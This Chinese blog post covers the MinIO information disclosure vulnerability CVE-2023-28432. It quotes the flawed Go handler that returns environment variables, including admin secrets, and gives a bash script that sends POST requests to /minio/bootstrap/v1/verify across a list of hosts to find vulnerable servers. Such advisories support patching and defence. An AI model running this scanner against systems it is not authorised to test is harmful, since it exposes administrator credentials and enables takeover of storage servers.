前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >MinIO信息泄露漏洞(CVE-2023-28432)批量检测POC

MinIO信息泄露漏洞(CVE-2023-28432)批量检测POC

作者头像
今天是几号
发布2024-07-18 15:24:08
970
发布2024-07-18 15:24:08
举报
文章被收录于专栏:Cyber Security

概述

MinIO 是一种开源对象存储服务,与 Amazon S3 API 兼容,可用于私有云或公共云。MinIO是一种高性能、高可用的分布式存储系统,可以存储大量数据,并提供高速的数据读写能力。MinIO采用分布式架构,可以在多个节点上运行,实现数据的分布式存储和处理。 在集群部署的Minio中,未授权的攻击者可发送恶意的HTTP请求来获取Minio环境变量中的敏感信息(MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD),可能导致攻击者以管理员权限登录Minio。

影响范围

漏洞利用的前提是使用分布式部署 RELEASE.2019-12-17T23-16-33Z <= MinIO < RELEASE.2023-03-20T20-16-18Z

相关漏洞代码

代码语言:javascript
复制
// minio/cmd/bootstrap-peer-server.go
func (b *bootstrapRESTServer) VerifyHandler(w http.ResponseWriter, r *http.Request) {
  ctx := newContext(r, w, "VerifyHandler")
  cfg := getServerSystemCfg()
  logger.LogIf(ctx, json.NewEncoder(w).Encode(&cfg))
}
 
// minio/cmd/bootstrap-peer-server.go
func getServerSystemCfg() ServerSystemConfig {
  envs := env.List("MINIO_")
  envValues := make(map[string]string, len(envs))
  for _, envK := range envs {
    // skip certain environment variables as part
    // of the whitelist and could be configured
    // differently on each nodes, update skipEnvs()
    // map if there are such environment values
    if _, ok := skipEnvs[envK]; ok {
      continue
    }
    envValues[envK] = env.Get(envK, "")
  }
  return ServerSystemConfig{
    MinioEndpoints: globalEndpoints,
    MinioEnv:       envValues,
  }
}

VerifyHandler 函数中调用了 getServerSystemCfg() 函数,该函数返回了 ServerSystemConfig 结构体,其中包含了环境变量 MINIO_ 的键值对。由于环境变量是全局可见的,因此会将账号打印出来 。为什么环境变量中会包含账号密码信息呢?因为根据官方的启动说明,在MinIO在启动时会从环境变量中读取用户预设的管理员账号和密码,如果省略则默认账号密码为minioadmin/minioadmin。

POC

批量检测POC,bash脚本,注意赋权

代码语言:javascript
复制
#!/bin/bash
# Author : whgojp
# Enable colors
GREEN='\033[0;32m'
NC='\033[0m'

count=0

while read -r line; do
  ((count++))

  response=$(curl -s -XPOST "$line/minio/bootstrap/v1/verify -k" --connect-timeout 3)	#修改一下 这里加了-k 忽略对 SSL 证书验证
  if echo "$response" | grep -q "MinioEnv"; then		#匹配关键词
    printf "${GREEN}[!] ${line}${NC}:is Vulnerable!!!\n"
    echo "$line" >> result.txt
  else
    printf "[+] (${count}/$(wc -l < MinIO.txt)) Scanning: ${line}\n"
  fi
done < MinIO.txt
在这里插入图片描述
在这里插入图片描述

当然还有其他版本批量检测POC CVE-2023-28432 nuclei templates https://github.com/MzzdToT/CVE-2023-28432/blob/main/minio.py

检测效果;

在这里插入图片描述
在这里插入图片描述

手动检测:

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Burp手动测试的时候记得改POST发包

使用Goby红队版可以直接检测该漏洞

参考

https://aq.mk/index.php/archives/142.html https://www.gksec.com/MinIO_RCE.html https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2023-03-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 影响范围
  • 相关漏洞代码
  • POC
  • 参考
相关产品与服务
对象存储
对象存储(Cloud Object Storage,COS)是由腾讯云推出的无目录层次结构、无数据格式限制,可容纳海量数据且支持 HTTP/HTTPS 协议访问的分布式存储服务。腾讯云 COS 的存储桶空间无容量上限,无需分区管理,适用于 CDN 数据分发、数据万象处理或大数据计算与分析的数据湖等多种场景。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档